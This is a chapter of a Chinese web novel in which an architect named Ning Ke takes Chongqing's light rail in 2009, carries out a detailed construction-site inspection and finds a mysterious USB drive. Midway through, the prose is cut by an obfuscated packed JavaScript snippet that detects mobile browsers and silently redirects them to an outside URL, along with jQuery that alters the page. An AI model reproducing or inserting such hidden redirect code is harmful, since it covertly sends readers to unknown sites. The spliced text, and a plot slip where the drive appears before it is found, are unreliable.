宁轲刚从中医院门诊的楼梯下来,还没理清楚乔医生治疗时那股说不出的别扭劲儿,口袋里的诺基亚就嗡嗡震了起来。
屏幕上跳着总工张富贵的名字。
她深吸口气,按了接听键。
听筒里立刻传来张总工那口浓重山城话,嗓门又大又急:“宁工!啷个搞起的嘛?今天下午的巡检还来不来咯?混凝土班组等着验收,龙门吊那边还有点小问题要你过来看一眼!”
宁轲逼着自己稳住神,开口:“张总,您放心,我已经在路上了。刚在中医院看完,下午巡检照常,大概两点到。”
“要得要得!那你搞快点儿!”张富贵那边背景音乱糟糟的,显然工地上正忙得热火朝天。
挂了电话,宁轲看了眼诺基亚屏幕上的时间。
午后的太阳晃得人眼晕,她把药袋塞进随身的帆布工具包,赶紧往轨道站走走。
心里的害怕和疑惑被她强行压下去,工作的责任和习惯推着她,得立刻切换回建筑设计师的身份。
她从中医医院有点冷清的大门出来,山城午后又闷又热的空气立马裹了上来,跟门诊里的空调房比,差得特别明显。
宁轲下意识把单薄的衣服扯紧了点,不是冷,是心里那股寒意还没散。
她辨了辨方向,就跟着两路口来往的人群走,直朝着那标志性的两路口轨道站去。
2009年的山城,轻轨2号线(那时候叫较新线)刚通没多久,还是新鲜玩意儿。
宁轲进了站,入口处看着挺现代,但细节里还能瞅见施工的痕迹。
她买了票,一张纸质的小圆磁卡票,过了闸机,顺着干净亮堂的通道往站台走。
站台上已经等了不少人,大多带着好奇和点儿兴奋,打量着这新鲜的交通工具。
可宁轲没心思看这些,她靠在站台边的柱子上,眼神有点放空。
宁轲望着轨道下面车来车往的街道,楚乔医生诊室里沙盘的触感、磁带里那声像有又像没有的坠落声,还在脑子里转。
没一会儿,传来一阵风压声,还有轻柔的提示音。
乳白和蓝色相间的轻轨列车安安静静地滑进了站台。
车门一开,宁轲跟着人群走进车厢。
车厢里是崭新的不锈钢座椅和拉手,冷气开得挺足,
列车启动,稳稳地加速。
宁轲找了个靠窗的位置坐下,看风景特别清楚。
列车很快开出车站,开始在半空中穿楼过沟的旅程,看着特别奇妙。
一边是滚滚流的嘉陵江,江面上有船来来往往,另一边是顺着山建的、一层叠一层的山城老城区。
列车离居民楼的阳台特别近,能看清人家晾的衣服。
钻进短隧道,一下子就黑了,只有车厢里的灯照着乘客模糊的脸。
这种跟平时走街道不一样的视角,宁轲还觉得挺有新奇劲儿。
她看着脚底下的街景变矮变小,里头就有她刚离开的云端之眼,它就立在江边。
轻轨走得又稳又快,可她心里却乱得很,俩正好反过来。
窗外不停动的风景,风景一闪而过的瞬间,她觉得自己的日子,困在了一个满是死亡、过去的迷宫里。
她把捡到的那个小巧U盘拿出来,在手心搓着。
广播里报出牛角沱站的名字。
宁轲深吸一口气,把U盘紧紧攥在手里,站起来。
列车停稳,车门一开,工地上的吵闹声和热风一下子就冲进了车厢。
她走下轻轨,又混进了地面的人群里,从那个有点疏远的旁观者,变回了得直面所有事的建筑师宁轲。
下午二点十五,牛角沱悬挑施工现场到处是塔吊,机器轰隆隆响,工人在高高的脚手架上跟蚂蚁似的忙。
宁轲戴上安全帽,一下子就变回了那个挑剔的建筑师。
到了混凝土浇筑环节,她径直走到刚浇筑的剪力墙前。
不管工长笑着打圆场,直接用手背摸模板温度感受热度,接着从工具包里掏出老式水银温度计。
那时候还没有电子记录设备,全靠这种传统工具。
她把温度计插进预留的测温孔,等读数出来后,严肃地对工长强调:“歌乐山碎石骨料的比例必须达标,江砂里的含泥量也得再测一次,山城这湿度大,施工上半点都马虎不得。”
之后是钢筋验收,她没有全盘检查,而是随机抽检了几个已经绑扎好的梁柱节点。
只见她拿出一把镀铬的机械游标卡尺,这种卡尺没有数字显示,全靠刻度读数。
她量着主
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16502650|186024||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
筋直径,一边量一边跟手里的设计图纸进行核对。
查完尺寸,她还特意用力刮了刮钢筋的标牌,检查有没有伪造痕迹。
她嘴里不忘提醒:“现在市面上歪货多,这钢筋强度直接关系到大楼的抗风能力,开不得玩笑。”
沉降观测,她走到预留的观测点,架起那台又笨重但精度极高的苏制经纬仪,仪器还带着雾汽除湿罩。
这是针对山城多雾天气的必备设计。
她先用绒布仔细擦拭镜头,再慢慢调整焦距,始终以远处的朝天门码头为固定基准点,测量楼体的微小倾斜数据。
测量过程中,她还用上除湿罩保证读数准确,同时在笔记本上详细记录着测量时间、当时温度和楼体偏移量,一点细节都不遗漏。
除了工序检查,她对安全规范也抓得极严。
巡检时抬头一眼就看见,有个在悬挑结构边缘作业的工人,腰间的安全绳只是随便搭着,根本没固定好。
宁轲立刻厉声喝止:“顶上那个师傅!停下来!安全绳挂好!”
等工人讪讪地停下动作,她甚至亲自爬上几步脚手架,拿起地上的安全绳。
宁轲现场演示标准的双钩交替固定方法,语气严肃:“命是自己的,莫要偷这点懒!”
之后她又对关键区域的脚手架连接点逐一检查,从包里拿出老式扳手,用力拧动扣件螺栓。
全凭手感判断扭矩是否足够,发现几个稍有松动的点,立刻要求班组当场复紧。
整个巡检过程,宁轲表现得无可挑剔,严格尽责。
总工张富贵一直跟在她身后,时不时擦着汗,脸上既有对这位年轻女设计师专业能力的佩服。
可就在巡检接近尾声,夕阳开始染红江面的时候,宁轲弯腰清理经纬仪脚架上的泥巴,无意间发现观测点附近的泥地里,有个半截被踩进土里的小巧金属物件。
她下意识地捡起来擦干净,是个造型别致的袖珍U盘,在2009年,这还算是挺稀罕的东西。
谁会把这种东西丢在施工现场?是工人干活时不小心掉的,还是……有人故意留在这里的?
宁轲的心跳莫名加速,她不动声色地把U盘再擦了擦,迅速放进了工具包的内袋里,装作什么都没发生似的继续收拾仪器。